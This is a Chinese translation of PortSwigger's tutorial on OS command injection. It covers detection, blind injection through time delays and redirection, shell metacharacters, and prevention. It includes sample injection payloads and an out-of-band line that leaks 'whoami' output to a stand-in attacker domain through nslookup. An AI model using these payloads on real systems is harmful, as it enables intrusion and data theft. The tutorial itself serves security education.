服务端安全之系统命令注入

原文出处:https://portswigger.net/web-security/os-command-injection

本节我们介绍什么是系统命令注入,描述这种漏洞如何发现以及如何利用,阐述在不同的操作系统上有用的命令和技术,以及总结如何阻止系统命令注入。
服务端安全之系统命令注入_第1张图片

什么是命令注入

OS命令注入(也称为shell注入)是一种web安全问题,允许攻击者可以执行任意系统命令。

执行任意命令

考虑这样一个购物应用程序,它允许用户查看特定商店中的商品是否有货。该信息可以通过如下URL访问:

https://insecure-website.com/stockStatus?productID=381&storeID=29

要提供相应的信息,应用程序必须查询后台系统。由于历史原因,该功能是通过使用product ID和store ID作为参数,调用shell命令来实现的:

stockreport.pl 381 29

该命令输出指定商品的库存状态,并将其返回给用户。
由于应用程序没有实现对OS命令注入的防御,攻击者可以提交以下输入来执行任意命令:

& echo aiwefwlguh &

如果这个输入是在product ID参数中提交的,那么应用程序执行的命令是:

stockreport.pl & echo aiwefwlguh & 29

echo命令只是导致在输出中回显所提供的字符串,这是测试某些类型OS命令注入的一种有用方法。&字符是一个shell命令分隔符,因此实际执行的是一个接一个的三个独立命令。因此,返回给用户的输出是:

Error - productID was not provided
aiwefwlguh
29: command not found

这三行输出说明:

  • 原始的stockreport.pl命令在没有预期参数的情况下执行,因此返回了一条错误消息
  • 注入的echo命令被执行,提供的字符串在输出中被回显
  • 原来的参数29是作为命令执行的,这导致了错误

在注入的命令之后放置额外的命令分隔符&通常很有用,因为它将注入的命令与注入点后面的任何命令分隔开。这就降低了下面的操作阻止被注入的命令执行的可能性。

有用的命令

当你发现一个系统命令注入漏洞时,通常执行一些初始命令来获取目标系统的有用信息。下面是一些在Linux和Windows平台上有用的命令的总结:

Purpose of command Linux Windows
Name of current user whoami whoami
Operating system uname -a ver
Network configuration ifconfig ipconfig /all
Network connections netstat -an netstat -an
Running processes ps -ef tasklist

盲注漏洞

系统命令注入的许多实例都是盲注漏洞,这意味着应用程序不会在其HTTP响应中返回命令的输出。盲注漏洞仍然可以被利用,但需要不同的技术。
考虑一个让用户提交反馈的网站,用户输入他们的邮件地址和反馈信息,服务器端应用程序然后生成一封包含反馈的电子邮件给站点管理员。为此,它调用带有提交细节的邮件程序。例如:

mail -s "This site is great" -aFrom:[email protected] [email protected]

邮件命令的输出(如果有的话)不会在应用程序的响应中返回,因此使用echo有效负载是无效的。在这种情况下,您可以使用各种其他技术来检测和利用漏洞。

利用时间延迟检测盲注漏洞

可以使用会触发时间延迟的注入命令,从而允许您根据应用程序响应所花的时间来确认命令是否被执行。ping命令是一种有效的方法,因为它可以指定要发送的ICMP报文的数量,以及执行该命令所花费的时间:

& ping -c 10 127.0.0.1 &

这个命令将导致应用程序ping它的环回网络适配器10秒。

利用重定向检测盲注漏洞

可以将被注入的命令的输出重定向到web根目录中的一个文件中,然后你可以使用浏览器检索该文件。例如,如果应用程序提供来自文件系统/var/www/static的静态资源,那么你可以提交以下输入:

& whoami > /var/www/static/whoami.txt &

>字符将whoami命令的输出重定向到指定的文件。然后,您可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件,并查看注入命令的输出。

利用out-of-band技术检测盲注漏洞

OAST技术思念很简单,攻击者控制一个外部服务器,在payload中,注入可以发起外部请求即可。例如:

& nslookup kgji2ohoyw.web-attacker.com &

这个payload使用nslookup命令对指定的域进行DNS查找。攻击者可以监视所发生的指定DNS查询,从而检测命令是否被成功注入。

Out-of-band还提供了一种简单的方法来从注入的命令中获取输出:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

这将会发起一个DNS查询到攻击者控制的DNS server上,同时,包含whoami命令的结果:

wwwuser.kgji2ohoyw.web-attacker.com

注入命令方式

各种各样的shell元字符可以用来执行系统命令注入攻击,许多字符作为命令分隔符,允许将命令链接在一起。以下命令分隔符同时适用于Windows和Unix系统:

  • &
  • &&
  • |
  • ||

以下命令分隔符只能在基于Unix的系统上使用:

  • ;
  • Newline (0x0a or \n)

在基于Unix的系统上,也可以使用反勾号或美元字符在原命令中执行被注入命令的内联执行:

`
injected command `
$(
injected command )

请注意,不同的shell元字符具有细微不同的行为,这可能会影响它们在某些情况下是否有效,以及它们是否允许在带内检索命令输出,还是只对盲目利用有用。

有时,您控制的输入出现在原始命令中的引号中。在这种情况下,您需要在使用合适的shell元字符注入新命令之前终止引用的上下文(使用“或”)。

阻止命令注入

到目前为止,防止操作系统命令注入漏洞最有效的方法是永远不要从应用层代码调用操作系统命令。实际上,在每一种情况下,都有使用更安全的平台API实现所需功能的替代方法。

如果认为使用用户提供的输入调用OS命令是不可避免的,那么必须执行强输入验证。一些有效验证的例子包括:

  • 对允许值的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入是否只包含字母数字字符,不包含其他语法或空白。

千万不要试图通过转义shell元字符来清除输入。在实践中,这很容易出错,很容易被熟练的攻击者绕过。

你可能感兴趣的:(Web安全,系统命令注入)